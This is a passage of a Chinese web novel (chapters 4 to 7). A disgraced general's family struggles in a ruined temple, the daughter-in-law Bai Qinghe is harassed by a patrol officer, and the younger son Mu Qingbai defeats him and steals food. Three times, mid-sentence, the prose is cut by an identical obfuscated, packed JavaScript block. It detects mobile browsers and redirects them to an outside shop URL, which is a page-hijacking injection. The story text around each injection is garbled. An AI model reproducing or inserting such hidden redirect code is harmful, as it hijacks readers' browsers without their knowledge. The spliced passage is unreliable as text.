慕夫人不许他去,“投敌叛国多大的罪,咱们一家没被判刑就不错了,你这脾气万一惹皇上发怒,再把咱们全都关进大牢,那里黑漆漆的,没有自由,我害怕。” 魏国公再糙,听到夫人说害怕,也没声音了。 慕夫人眼睛还肿着,今天早晨没吃什么东西,破庙里又没水,她哭得太多,这会口干舌燥,全身酸软无力,头重脚轻,几乎撑不起自己的身体。 “宗岳,你扶我一下,我没劲。” 慕宗岳下意识拦住她的腰。 到底是武将出身,受过重伤仍然力大无穷,他很轻松的把人搂进怀里。 用握拐杖那只手去摸她的额头。 这一摸不要紧,吓了一跳。 “夫人,你发热了。” 慕夫人哪受过这种气,吃过这么大苦。 不生病才奇怪。 “我就说身体软的厉害,你扶我去破庙里歇一会儿。” “歇什么,我带你去医馆。”慕宗岳扶着拐杖蹲到她面前,“爬上来。” 慕宗岳左腿膝盖以下都没了。 平时全靠拐杖和右腿的力量。 一个人走路尚能坚持,哪能负担起另外一个人的重量。 “我没事,等卿白回来再说吧。”慕夫人病恹恹地开口。 听得慕宗岳心口抽痛。 一家人没吃没喝足够令人暴躁了,媳妇生病,可是挑破他最后底线。 “夫人,我能行,”他坚持要背,“等我把你安置好就进宫找皇上,阿岚怎么样,该怎么处置都行,不能让我一家老小没活路。” 慕夫人说什么都不同意,两个人正僵持着,白青禾和慕卿紫回来了。 慕宗岳心里烦躁,粗声粗气地喊道:“你们两个快过来,你娘病了。” 连个遮风避雨的地方都没有,生病可不是小事。 白青禾赶过去检查,“娘,你哪里不舒服?” 慕卿紫快哭了,“娘,刚才不还好好的吗,我二哥呢?他怎么不在?” 慕夫人急火攻心,又着了凉,此刻身体软绵绵的,没有一点力气。 “你二哥出去打听情况了,我没事。” 慕卿紫完全没有主意,看向白青禾,“嫂子,现在怎么办?” 普通人生病都得看大夫,何况养尊处优的国公府夫人。 “去医馆。” 慕宗岳身体不好,背不动慕夫人。 这种力气活便落到慕卿紫身上,她赶紧蹲到慕夫人身前,“娘,我背你。” 慕宗岳拄着拐杖一瘸一拐的跟上去。 白青禾有心让他留下,又担心他一个人在破庙胡思乱想惹出事。 只能由着他跟上来。 距离破庙三四公里的地方有家医馆。 慕卿紫走走歇歇,赶到医馆时已经是大半个时辰后。 慕夫人逐渐陷入昏迷。 白青禾喊了好几声都没反应。 “大夫,我娘病了,快给我娘看看。” 刘大夫四十多岁,眼神不太好,觑着眼睛打量着慕夫人。 望闻问切流程走一遍。 白青禾没提国公府,只道母女几个都是普通百姓。 因为兄长出现点事情,母亲才病了。 刘大夫很快确诊,慕夫人只是急火攻心,并无大碍,吃几副补药就能恢复。 他写好药方,递给白青禾,“一共五两银子。” 白青禾:“……” 满脸尴尬地看向慕卿紫。 慕卿紫身上一个铜板都没有。 “大夫您行行好,我们身上没带银子,您先给我娘开药,我这就去筹银子。” 刘大夫不是恶人,几个人身上衣着光鲜,虽然不怎么干净,都是上好的绸缎,不像拿不出五两银子的人。 “那行,我先抓药,银子欠着,今天晚上必须给我……” 他话没说完,注意到门口进来个瘸子。 脸色骤变,抓药的手飞快收回去。 魏国公做了将近十年大将军,曾经和皇上率领三十万大军征讨邻国,“强占”邻国几十座城池。 这在大周朝可是人人传唱的佳话。 如果不是魏国公断了一条腿,皇上年纪大了,没准能踏平邻国国都。 刘大夫第一眼认出魏国公,他听说了皇上下旨查封国公府之事。 谨慎道:“你们几个是魏国公家属吧?” 白青禾没料到公爹出现会影响大夫赊药,早知道不让他来好了。 “刘大夫,您行行好,我娘病得不轻,得先吃药才行,银子我们这就想办法。” 刘大夫为难道:“不是老夫舍不得几两银子,魏国公为大周朝没少效力,老百姓感激得很,可皇上下旨了,任何人不能帮慕家,否则按资敌罪论,如果过段时间也行,这两天不知道多少双眼睛盯着,姑娘多为我们百姓想想,胳膊拧不过大腿,我们哪敢跟天家对着干。” 白青禾好说歹说,刘大夫都不为所动。 慕卿紫也是急了,忽然给刘大夫跪下。 “求求刘大夫救救我娘,我娘身体弱,熬不了太久,只要您先给我娘开一副,我这就去弄银子,保证一分不差您的。” 资敌罪不轻,刘大夫可不敢拿全家人的前途当做善良的筹码。 “姑娘,你跪我没用……不过我年纪大了,你们国公府人强马壮的,抢几副药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515290|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老百姓哪反抗得了……” 慕卿紫得到提醒,她嚯得起身,从柜台上抓起一把算盘,做出要砸的架势。 “刘大夫,你快给我娘抓药,否则我砸了你的破药堂。” 刘大夫害怕极了,连声道:“姑娘别动怒,老夫这就抓,这就抓。” 皇上下旨,不许百姓给慕家提供银钱帮助。 现在是慕家强抢,可就怪不到百姓身上了。 刘大夫特别麻利的将所需药材称好放到牛皮纸上,包好。 慕卿紫伸手去拿。 就在这时,一把利刃擦着她的手边急速飞过,如果不是她会武功,躲避及时,那把利刃可就穿过她手背了。 “哪个混蛋……”慕卿紫气得大骂。 从四品京城巡检使,赵鹏,身穿软甲手持长刀冷着一张脸从门外进来。 他是户部尚书之子,也是慕卿白前未婚妻的亲大哥。 赵鹏负责京城治安,整天舞枪弄棒,身强体壮,注意到慕宗岳拄着拐杖站在门侧,故意撞他一下才趾高气扬地走进屋。 “京畿重地,天子脚下,竟然有刁民强抢药堂,本巡检使倒是看看,谁这么大胆!” “赵鹏,你个混蛋!”慕卿紫原来就看不惯赵家人,奈何二哥和赵如烟订婚,她不得不耐着性子接触赵家人。 昨天赵如烟提出退婚,两家再无关系,她也就没必要再敬着对方。 “有能耐光明正大和本姑娘过上几招,别总躲在背后使阴招。” 皇上把慕家处罚如此重,慕卿紫怀疑,赵尚书没少使劲。 赵鹏根本不把慕卿紫一个小丫头片子放在眼里。 “好啊,今天你能打过本巡检使,给你娘看诊的银子,本官出了。” “这是你说的,别耍赖!”慕卿紫咬牙切齿,今天无论如何她都要把药拿走。 屋里不方便,两个人来到街上摆开架势。 白青禾一颗心提着。 慕卿紫虽然从小习武,深得魏国公真传,可她没有临场经验,和赵鹏这种常年负责京畿治安的人打斗,少不得会吃亏。 果然像她料想的那般,十几招下去,慕卿紫逐渐落于下风。 慕宗岳担心女儿受伤,拄着拐杖迎上去。 “赵鹏,让老夫领教你几招。” 放在十年前,慕宗岳左腿没断,十个赵鹏也不是他对手。 可他受过重伤,又多年没活动过筋骨。 再加赵鹏心思歹毒,专门攻击他的右腿和拐杖。 不过二三十招,慕宗岳的拐杖被打飞,右腿受到重创,他庞大的身躯轰然倒塌。 白青禾吓坏了,待她反应过来,急忙跑过去扶人。 “爹,你怎么样?” 她双眼含泪,瞪着赵鹏,第一次如此仇视一个人。 就算慕卿岚投递叛国,可魏国公为国征战几十载,落得一身伤病,还救过皇上,赵鹏也不该如此对待。 再者,药堂大夫都暗示可以拿药,他多管什么闲事。 赵家和慕家曾经联姻,是赵家上赶着求来的。 这事赵鹏一直记在心里。 今天打倒魏国公,洗清往日屈辱,心里别提多痛快了。 注意到白青禾貌美人娇,竟然嫁给慕卿岚这个叛国贼,着实可惜。 “吆,小美人,还盼着那个负心汉回来呢!” 他十分轻佻地盯着白青禾,眼里全都是对色欲的渴望。 “只要你现在喊我一声哥哥,跟我走,慕家抢药之事,我完全可以当做没看见。” 5. 第 5 章 赵鹏是个好色之徒。 家里小妾姨娘十几个,还收不住他的心。 以前发现白青禾漂亮,有贼心没贼胆,如今慕家败落,他还有什么好怕的。 恨不得现在就把人带回府里渔色。 此刻白青禾眼中含泪,怒视着赵鹏。 美人落泪,令人心疼。 赵鹏色欲熏心,去勾她的下巴,“啧,这么漂亮的小娘子……” 慕宗岳以前不喜欢赵鹏,总觉得他不够正派。 没想到他竟然是个利欲熏心的酒色狂徒。 他挣扎着使劲拍开赵鹏的大手,“畜生不如的狗东西,敢动青禾,老夫要你狗命!” 慕宗岳刚才一下摔得极重。 赵鹏根本不把他当回事,飞起一脚将他踢开,同时一手抓住白青禾,小人脸色十足。 “慕宗岳,没想到你也有今天吧!” 慕卿紫心疼父亲,又担心嫂子被他抢走。 顾得了这个,顾不了那个,急得额头直冒冷汗。 “爹,你没事吧?” “赵鹏,你敢动我嫂子,我非跟你拼命!” 慕卿紫也是个漂亮的,赵鹏好色之人怎么会嫌弃美人太多。 “想救你娘和你爹,好啊,跟我一起走,今晚本巡检使就尝尝被两个美娇娘伺候……” 他话没说完,一只飞镖擦着他的手掌穿过。 吓得他惊慌失措,急忙松开白青禾。 “谁?是谁敢动本巡检使,不想活……” 话说到一半,肩头忽然多了一把明晃晃的利剑,后半句生生吞回去。 白青禾魂吓掉一半。 婆婆昏迷尚未清醒,公公本身残疾,又受重伤,小姑是个涉世未深的小姑娘,两人被带走遭遇什么都不敢想,公婆只怕撑不过几天。 昨天,她还厌烦透了慕卿白那把寒光凛凛的长剑,今天再次见到,竟然格外亲切。 “卿白,赵鹏打伤公爹,还不让掌柜给娘抓药,娘病得很重……” 慕卿白手握长剑,直抵赵鹏脖颈,左手拉过白青禾,把人置于自己的防护范围。 白青禾莫名感到心安,她磕磕绊绊将实情说给他听。 慕卿白人狠话不多,他收剑回来,恰到好处划破赵鹏的脖颈,鲜血喷涌,却不伤及性命。 “赵鹏,今天我爹娘但凡有什么好歹,赵家满门一个都别想活命!” 赵鹏怎么可能受他威胁。 在外人眼里,慕卿白不过一个只会读书的文弱书生。 前段时间高中探花,被皇上封为从六品翰林。 昨天正是他第一天去翰林院上值的日子,慕家忽生变故,他一只脚大概都没迈进翰林院的大门,就被皇上罢官了。 “慕卿白,怎么,凭你这副柔弱身板,还想挑战我京畿巡检使?” 他手持长剑,冲着慕卿白便刺。 慕卿白重伤巡检使,大逆不道,他当街斩杀十分合理。 闹到皇上那里,也不能拿他怎么样。 他今天就要慕卿白横尸当场。 慕卿白先推开白青禾,一个漂亮的转身灵巧避开。 白青禾简直不敢相信自己的眼睛。 她知道慕家儿女从小习武,都会武功。 也见识过慕卿紫的厉害,飞檐走壁还能纵身上树抓鸟。 也听慕卿紫吹嘘过二哥的武功有多厉害。 可她没亲眼见过。 还以为慕卿紫仗着对哥哥的滤镜,胡乱吹嘘呢。 她嫁进慕家一年有余,和慕卿白的接触并不多。 慕卿白一直住在书院,逢年过节才会回家一次。 碍着叔嫂关系,两个人见面多半都是在饭桌上。 自从他中了探花,一直住在家里,接触的机会才多些。 不过慕卿白有自己的社交圈子,两个人只不过多见几次面,她行个福礼,他喊一声嫂嫂。 哪里会知道,他武功如此高。 伸手如此灵敏。 动作如此流畅。 仪态如此端庄。 身段还如此好看。 …… 高手过招,根据起手架势便能判断出对方深浅。 慕卿白躲避这一下,赵鹏忽然意识到自己小看了他。 当即升起戒备,小心应战。 “二哥,砍断他的胳膊——” 终于来了出气的,慕卿紫咬牙切齿冲慕卿白大喊。 到底是兄妹,似乎有心灵感应一般。 慕卿紫话音刚落,慕卿白的长剑正好刺穿赵鹏左臂。 一招失势,接下来全无反击手段。 赵鹏处处落于下风。 很快被慕卿白剑指额头。 堂堂从四品巡检使,身上被人刺穿好几个血窟窿,衣衫破碎,狼狈至极。 反观慕卿白,从从容容,游刃有余,仍然一副翩翩公子形象。 白青禾第一次看一个男人的时候两眼放光。 探花郎啊,才华横溢就不说了,武功又这么出类拔萃。 可京城找不出第二个吧。 不对,可大周朝都找不出第二个。 那可是经验丰富的巡检使。 没在他手里讨到一点便宜。 有一天,白青禾竟然会对着自己的小叔犯花痴。 这是她以前绝对想不到的事情。 “卿白……” 白青禾刚要喊一句卿白打得好,被不知道哪里冒出来的赵如烟打断。 矫揉造作的赵如烟冲到赵鹏身前,柔柔弱弱张开手臂,和慕卿白呈现对峙的姿态。 眼里含泪,仿佛被抛弃的人是她一般。 “卿白,你当真如此恨我么!” 此刻围过来看热闹的百姓很多,都不知道发生了什么。 赵如烟一身白裙,仿佛一朵娇弱的小白花,泫然欲泣地盯着一个男人。 任由多粗糙的汉子,看到她这副可怜摸样,都会忍不住心疼怜悯。 白青禾算是最了解赵如烟的人。 两人是表姐妹,从小一起长大。 外公一共两个女儿,长女也就是白青禾的母亲嫁进白家,过着一般官宦人家当家主母的日子。 另外一个女儿,也就是赵如烟的母亲,嫁进赵家。 当年赵家并不风光,直到五年前赵如烟的父亲封为二品尚书,为夫人请封二品诰命。 原来,赵家一直巴结白家。 封为尚书后,腰杆挺直了,处处刁难白家,找白家麻烦。 白青禾和慕卿岚订婚后,赵家想办法给赵如烟定了慕卿白。 年纪相仿的表姐妹从小互相攀比。 慕卿岚作为魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515291|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国公的嫡长子,如果没出事,肯定会被封世子。 眼见着,白青禾会成为世子夫人,未来的国公夫人。 赵如烟嫁给次子,虽然慕卿白各方面都很优秀,又怎会甘心。 昨天慕家一出事,赵如烟就找到慕家提出了退婚。 白青禾原本也想离开慕家的,可惜晚了一步。 说到底,两姐妹还真有很多相似之处。 此刻她看着赵如烟矫揉造作地站在慕卿白面前,不用想都知道小绿茶会说什么。 “卿白,退婚的是我,和我哥哥无关,求你不要伤害我大哥……” “卿白,退婚的是我,是我对不起你,大哥也是太疼我了,求你不要伤害我大哥……” 白青禾的心声和赵如烟的茶言茶语几乎同一时间响起。 白青禾不得不感叹,自己还是低了一个段位。 她就没想到,“大哥也是太疼我了”这句。 难怪赵如烟能退婚成功,她却没能离开慕家。 不知道慕卿白此刻什么心情,这会哪还顾得生病的婆母,被打的公爹,全部心思都在吃瓜上。 她从来没见过小叔和赵如烟相处情形。 倒是听赵如烟经常提到,未婚夫对她很好,温柔、宽容、体贴还善解人意。 她实在想象不出来,冷冰冰的小叔,温柔体贴什么样。 不过被未婚妻退婚,是一件很丢人的事。 这种情况下,前未婚妻还跑出来茶言茶语一通。 白青禾实在好奇小叔会怎么面对赵如烟。 面瘫脸就这点好,谁也看不透他的心思。 白青禾恨不得把两只眼睛看穿,也没从慕卿白冷冰冰的脸上看出什么。 没有痛心疾首,没有难堪丢脸,也没有生气暴躁,更没有失望伤心…… 白青禾怀疑慕卿白没有七情六欲。 那可是他未婚妻啊! 昨天才退婚的未婚妻! 还是在他家获罪,第一时间跑过来退婚的未婚妻! 他怎么能一点反应都没有呢! 赵如烟大概也没想到前未婚夫一点反应都不给。 她横冲直闯出来,戏唱了一半没人搭茬,好丢脸的。 “卿白,原谅我,我也有难言之隐,你很好,不好的是我,你要怨要恨,都冲着我来好了,别动我大哥,我求你了……” 赵如烟强迫自己演下去,使劲挤出两滴眼泪。 换成别的男人,不心疼死也要痛恨自己为什么要如此对待这么漂亮的美人。 白青禾直勾勾盯着慕卿白。 这次他该心疼了吧。 出乎所有人意料,也出乎白青禾的意料,慕卿白竟然伸手把赵如烟扒拉走了。 “你谁啊,滚远点!” 白青禾:“……” 忽然忍不住爆笑。 笑着笑着发现有意味不明的目光看过来,急忙找由子掩饰,正好看见公爹在旁边,赶紧把人扶住,“爹,您没事吧?” 她怎么能想到,慕卿白竟然装作不认识赵如烟。 这可得把赵如烟伤个彻底。 果然她看见赵如烟捂着胸口,仿佛得了什么绝症一般,比屋里的慕夫人还要柔弱。 泪眼汪汪地盯着慕卿白,“卿白,我可是你未婚妻啊,你怎么能说出这种话。” 6. 第 6 章 白青禾使劲憋着笑,盯着赵如烟和慕卿白。 “卿白,我可是你未婚妻啊,你怎么能说出这种话。” 好像慕卿白才是负心的那个。 赵如烟被人抛弃,伤心到绝望的可怜小白兔。 果然绿茶还得分段位。 白青禾觉得,赵如烟就是顶级那个。 普通人肯定招架不住。 好在慕卿白不是普通人。 他根本没把赵如烟放在眼里,只盯着赵鹏:“今天你伤我父亲之仇还没完,早晚跟你清算。” 语毕,他都没给赵如烟一个眼神,转身进屋去找慕夫人。 赵鹏第一次吃这么大亏,有心上前阻拦,又忌惮慕卿白的武功。 不过他也不是一点办法没有。 “慕卿白,你竟然当街殴打巡检使,本官这就去找皇上,就不信治不了你!” 哭唧唧的赵如烟有心去追慕卿白,又担心慕卿白不给面子。 只能去追赵鹏,“大哥,卿白他不是故意的,肯定是被我退婚伤透了心,这才迁怒到你,看在小妹的面子上,饶过他这一次吧……” 白青禾很想跟上去把赵如烟的茶言茶语听完。 可惜,她身边一个生病一个受伤,实在不方便。 慕卿紫还不了解赵如烟,她是真心以为赵如烟很难过。 “唉,赵家也就剩如烟姐一个好人了。” 白青禾很难忍住不拆穿赵如烟的为人,“你真应该学学你二哥。” 慕卿紫一愣,“学我二哥什么?” 白青禾:“鉴茶的本事。” 慕卿紫身边没有赵如烟心机那么深的姑娘,一时没明白白青禾的意思。 “大嫂,你能不能仔细说说。” …… 慕卿白可没什么好耐心,进屋后将长剑往桌子上一横。 “刘大夫,把药给我娘包好,七天的量,一分一厘都不能少。” 刘大夫亲眼看见他打伤巡察使,哪敢耽搁,恨不得多长出两只手,很快将七副汤药包好,双手递给慕卿白,“二爷,您收好。” 慕卿白一手接过药,随即抱起慕夫人往外走。 看见慕宗岳撑着拐杖,淡声问道:“还能走吗?” 慕卿紫自告奋勇,“大哥,有我扶着爹呢,没事。” 接下来,慕卿白抱着慕夫人,白青禾和慕卿紫轮流扶着慕宗岳,五人一起回了破庙。 中间慕夫人醒了一段,之后又昏过去,直到破庙她才再次醒过来。 慕卿白脱了衣服铺在稻草上,将慕夫人放上去。 清俊矜贵的国公府公子只剩下一套白色内衣。 他好像没什么不适的,到破庙外寻找柴火点燃,将药放进破旧的陶罐里,添好水,架在燃烧的柴火上。 他坐在旁边的大石头上,双眼被火光照映着,也不知道在想什么。 看不出悲喜,仍如以前那般平静淡然。 白青禾看不透他的心思。 折腾了大半天,早已饿透,她忽然想起孙筠筠送给她的十个烧饼和一只鸡。 “小紫,你看见烧饼和烧鸡了吗?” 他们从市集回来发现慕夫人病了,哪里顾得上烧饼和烧鸡。 “没啊,我记得你好像放屋里了。” 白青禾和慕卿紫两个人把破庙里里外外找了三四遍,连个烧饼渣都没发现。 慕卿紫气急败坏道:“肯定被哪个乞丐偷走了!这些天杀的东西,我还是早晨吃的半个馒头,都是赵鹏这个狗东西,耽误我们时间……” 白青禾从来没这般生气过。 婆婆病了,公爹被打,好不容易得来的十个烧饼和一只烧鸡,竟然被人偷走了。 果然龙游浅滩遭虾戏,虎落平原被犬欺! 白青禾坐在破庙门口,心思拉远又拉近,把慕卿岚骂上几百上千遍。 狗男人叛变后吃香喝辣,他们一家人住破庙受苦。 他可知道,母亲生病,一家人连五两银都拿不出来。 还是慕卿白抢了七副汤药。 战场所向披靡几十年的魏国公,竟然被赵鹏个狗东西羞辱一顿。 四月份的天气虽然变怒暖,可夜里冷风一吹,又阴又冷。 万一赶上下雨,一家人要怎么熬。 她两天没换衣服了,更别说洗漱。 平时还好,算着日子,明后天该来癸水了。 人没精力,肚子能把人疼的死去活来,这破庙连个门都没有…… 吃饱穿暖更是连想都不敢想。 白青禾想到癸水,所有心气都没了。 她怎么这么笨,慕卿紫的夫家能退婚,二房一家能离开,赵如烟也能退婚,怎么就她没逃开呢。 注意到不远处的慕卿白,人坐得仿佛一个雕塑,身上却只有一件薄薄的内衣,隐隐透出他强健的体魄…… 忽然意识到自己在想什么的白青禾,使劲拍拍自己脸颊。 曾经的天之骄子,父母精心养大,饱读诗书,高中探花,眼看着仕途平坦,前途不可限量。 却被大哥连累到罢官,从此朝堂无望,这辈子都要顶着叛贼家属的名声苟延残喘…… 她这个外姓人还能想办法脱离关系。 慕卿白却永远无法割断。 这样的人,此刻在想什么呢? 白青禾捉摸不透。 心思回到十个烧饼上,又把慕卿岚骂一顿。 孙筠筠想要脱离贱籍,需要一个机会。 作为好朋友,她怎么能袖手旁观! 帮了孙筠筠,拿到十两银子,先吃顿饱饭,再找个宅子,一家人先把眼前的难关熬过去。 白青禾挣扎了一个时辰,终于认清眼前现实。 她总存着二心把自己摘脱出去,既不能彻底断绝关系,又回不到正常生活。 还不如努努力,抓住机会,解决眼前的难题。 至于祖父的禁忌,她先想办法瞒下来,没准哪天祖父想通了,取消这条规矩呢。 虽然有生之年,固执的老人家不太可能…… 慕卿白熬好药,慕卿紫一勺一勺喂给慕夫人。 眼看着天色黑下来,一家人还是早晨吃过几口东西。 早饿得前胸贴后背。 慕卿紫一个娇小姐,哪里受过这种苦。 端着碗的手腕不停地颤抖,她哭唧唧地看向慕卿白,“二哥,我好饿。” 白青禾又累又饿,没力气去找吃的。 此刻,夕阳的余光照进破庙,她蹲在门口,不动声色地打量着慕卿白。 皇上不许任何人帮助慕家,这个曾经的天之骄子,应该也找不到办法。 今天饿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515292|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚子熬过去,明天一家人就要端着破碗街头讨饭了。 白青禾想象不到探花郎衣衫褴褛讨饭的样子。 此刻他一袭白衣,染了些许灰尘,傍晚光线不够明亮,瞧不清楚谪仙一般的人物跌入凡尘的模样。 好像还是矜贵的。 不俗的。 充满书卷气的。 “我出去弄些吃的,你照顾好爹娘和……嫂嫂。” 慕卿白给慕夫人整理好衣服,叮嘱小妹。 白青禾还在发呆,被嫂嫂两个字惊醒。 她有些脸红的收回视线,问道:“你要出去?” 慕卿白面无表情的反问她:“你要去?” 白青禾毫不犹豫摇头。 大晚上孤男寡女两个人一起出去,本就是多事之秋,被外人看见不知道怎么传呢。 如果她今天没对着小叔花痴也就罢了。 如今她心里藏了小鹿,四处乱撞。 “不,不去。” 慕卿白走后,白青禾挨着慕夫人坐下。 “娘,您喝了药,好些吗?” 慕夫人的眼泪终于哭干了。 此刻病殃殃的歪在稻草堆上,声音软绵绵的有气无力。 “娘好些了,只是苦了你们几个。” 白青禾心里酸酸的,本应该养尊处优的豪门妇人,竟然沦落到住破庙。 这样的日子不知道什么时候是个头。 “我们还好,明天再出去转转,总能找到办法。” 大半个时辰后,慕卿白回来了。 不光带足了食物,还抱回来两床锦被。 闻到食物的香味,慕卿紫眼里发光,“好香啊,二哥,你从哪弄这么多吃的?” 她将食盒打开,一样一样的端出来。 炖猪肘、清蒸鱼、红烧肉…… 足足七道菜。 又配了一大碗米饭和七八个包子。 一家人两顿都吃不完。 慕卿白仍然一副面无表情的样子,一支蜡烛不够亮,他又点了一支。 之后淡声回小妹的话:“偷的。” 慕卿紫:“……” 白青禾扯开一床锦被给慕夫人盖好。 听说饭菜是偷的,那锦被也是偷的了。 慕卿白似乎注意到她的心思,不等她问出来,主动道:“也是偷的。” 白青禾彻底无语了。 能盖起锦被的人肯定不是普通人家。 很难想象,主家发现饭食被偷的情形。 饭食被偷也就罢了,被子还被能被偷。 昔日的探花郎偷人家被子。 闲置的还好,别是正在盖着的。 这么好的夜色,小夫妻正做着什么热身动作,身上的被子忽然被人扯走。 情急之下光着屁股去追…… 画面太美,白青禾实在无法想象。 忽然听到慕卿白在她耳边说:“柜子底下掏出来的。” 惊吓之间,她下意识回头,险些和慕卿白靠过来的脸碰上。 “哦。” 她急忙避开,躲到慕卿紫另一侧准备吃饭。 这人悄无声息靠她这么近做什么。 不知道男女有别吗! 也不知道慕卿白有意还是无意,她刚坐下,他竟然也跟过来坐在了她身侧。 7. 第 7 章 也不知道慕卿白有意还是无意,白青禾刚坐下,他竟然跟过来坐在了她身侧。 白青禾怀疑才住了一晚破庙的自己长虱子了,浑身刺痒难忍。 有心抓两把,偏生慕卿白像块炭似的坐在旁边,她动都不敢动。 一天没怎么吃东西,早饿得饥肠辘辘,面对七八道美食,竟然不知道怎么下筷子。 幸好慕卿紫是个小天使。 夹了好大一块猪肘放到她碗里,“嫂子,这个猪肘可好吃了,快尝尝。” 随后又给慕宗岳夹一块,“爹,你快点过来。” 慕卿白出去一趟收获不少,还给慕宗岳带了瓶跌打损伤的药膏。 慕宗岳没好意思在屋里涂,躲到庙外涂完才回来。 “这就来。” 慕卿紫一边吃一边嘀咕,”以前可没觉得猪肘好吃,这谁家的厨子做的,以后请咱家来,让他专门给咱们做。” 她这话说完,好一会儿都没人接茬。 慕卿岚犯的可是投敌大罪。 全家能活命就不错了,哪敢奢望回国公府。 慕卿紫自觉失言,默默夹起一块清蒸鱼。 这顿晚饭,只有慕夫人吃的不多,她饭量小,又吃了药,第一次遇到这么大事,实在没有胃口。 慕卿紫年纪小,环境变化很大,只要和家人在一起,有父母兄嫂,一切都不是问题。 这一顿,她吃了往常一天的饭量。 慕宗岳是个糙人,心宽体胖。 被赵鹏伤了颜面,当时很生气,见到吃食,胃口大动,哪还记得刚才的事。 唯一的遗憾便是,缺了酒。 “卿白,你明天出门给爹弄壶酒。” 此时的慕卿白,仍然如贵公子一般,慢条斯理,斯斯文文。 闻言,没有任何反感、不悦或者怠慢,回道:“好。” 白青禾不得不佩服慕卿白的心态。 曾经的天之骄子都沦落到抢匪盗贼了,还能稳如泰山,不急不躁。 从事发到现在,埋怨没说过一句,牢骚没发过一声。 昨天晚上她生气,再寻常不过的馒头都没给他一个,让他饿着肚子撑过一宿,竟也没什么反应。 这是普通人类? 这顿晚饭,白青禾吃得比慕卿紫还多。 刚开始碍着慕卿白坐在身边,有些不好意思,一口肘子咽下去,哪还顾得了形象。 什么都是浮云,只有填饱肚子最实在。 当天晚上,慕夫人盖着上好的锦被,睡得十分踏实。 白青禾和慕卿紫挤在一起,两人合盖一条被子。 这两天慕家发生太多事,昨晚又没睡好,今天有了锦被又吃一顿大餐,慕卿紫很快抱着白青禾的胳膊睡了过去。 白青禾只比慕卿紫大两岁,可她已经嫁为人妇,又管了一年国公府的中馈,心思肯定比小姑娘多些。 既然决定和慕家人一起,也决定好帮助孙筠筠,她必会竭尽全力。 明天一早,她便去找孙筠筠,将她以前谱好的一首曲子交给对方。 拿到银子后,她先租个宅子,解决一家人的住宿问题。 至于以后,是做小本生意还是靠谱曲赚钱,她还没想好。 她在锦被里盘算的时候,慕宗岳和慕卿白坐在门口说话。 慕宗岳嗓音粗糙,声音大,全能听清楚。 而慕卿白声音低沉,夜里风声紧裹挟着一些野生动物的声音,她听不真切,也不知道他都说了什么。 快到子时,慕宗岳回庙里靠着慕夫人坐下。 很快发出如雷一般的鼾声。 而慕卿白坚实的背影一直屹立在门口。 直到白青禾睡过去,那道身影都没有移动半分。 第二天,白青禾早早爬起来,没惊动还在熟睡的慕卿紫和慕夫人。 她打算悄悄去找孙筠筠,悄悄回来。 白家都不能和乐人接触。 慕家虽然落败,到底是高门贵族出身,只怕更不喜欢乐人。 更何况她还要从乐人手中拿银子。 她不想因为这些细节和慕家人发生矛盾。 再者,她和乐人来往必须瞒着白家人。 知道的人越少越好。 白青禾蹑手蹑足的走出破庙,大概是她做贼般的行为惊动了外边的人。 整个身体还没彻底出屋,脖颈忽然横上来一把长剑。 昨天她见识过这把长剑的厉害,连从四品巡检使的脖子都敢割破,何况她一个普通的民女。 “慕卿白,你到底要干什么?” 她推开长剑,满脸怒容瞪着对方。 狗男人舞剑的动作确实很帅,可那是针对敌人的时候。 怎么能总瞄着自家人。 慕卿白只有一句话:“你要去哪?” 白青禾不好解释太多:“我去找个朋友,很快就回,我有她需要的东西,她会给我银子。” 长剑收起,慕卿白阴森森的声音从耳边传来。 “一天不回来,我就去白家杀一人,两天不回来,我去杀两人,嫂嫂最好算好,白家能坚持几天灭门。” 简直是个变态。 白青禾后悔昨天对他花痴了。 难怪能偷人家被子。 果然不是正常人。 “慕卿白,你要明白,你哥都叛国了,我以后改嫁是很正常的事,你别想着我会为个叛国的男人守一辈子!” 她走两步,心里气恼,忍不住补充,“不过,那时我会和公婆说好,只要公婆同意,你一个晚辈,凭什么管着我!” 她说完这话,再也没有回头,直奔孙筠筠的住所。 孙筠筠看见她喜极而泣,险些哭出来。 “青禾,我就知道你会帮我的。” 孙筠筠控制不住激动,紧紧抱住白青禾,“你果然是我在这个世上最好的姐妹。” 白青禾好几天没梳洗了,自己都嫌弃。 她使劲推开孙筠筠,“别抱我,我都住好几天破庙了。” 孙筠筠仔细打量着白青禾,“除了衣服邋遢些,这不还是一样的漂亮。” 白青禾能信这话才怪,“给我找笔墨,我尽快给你写下来,还要赶着回去。” 孙筠筠仿佛担心她反悔一般,用最快的速度将纸笔摆到她面前,“慢慢写,不着急。” 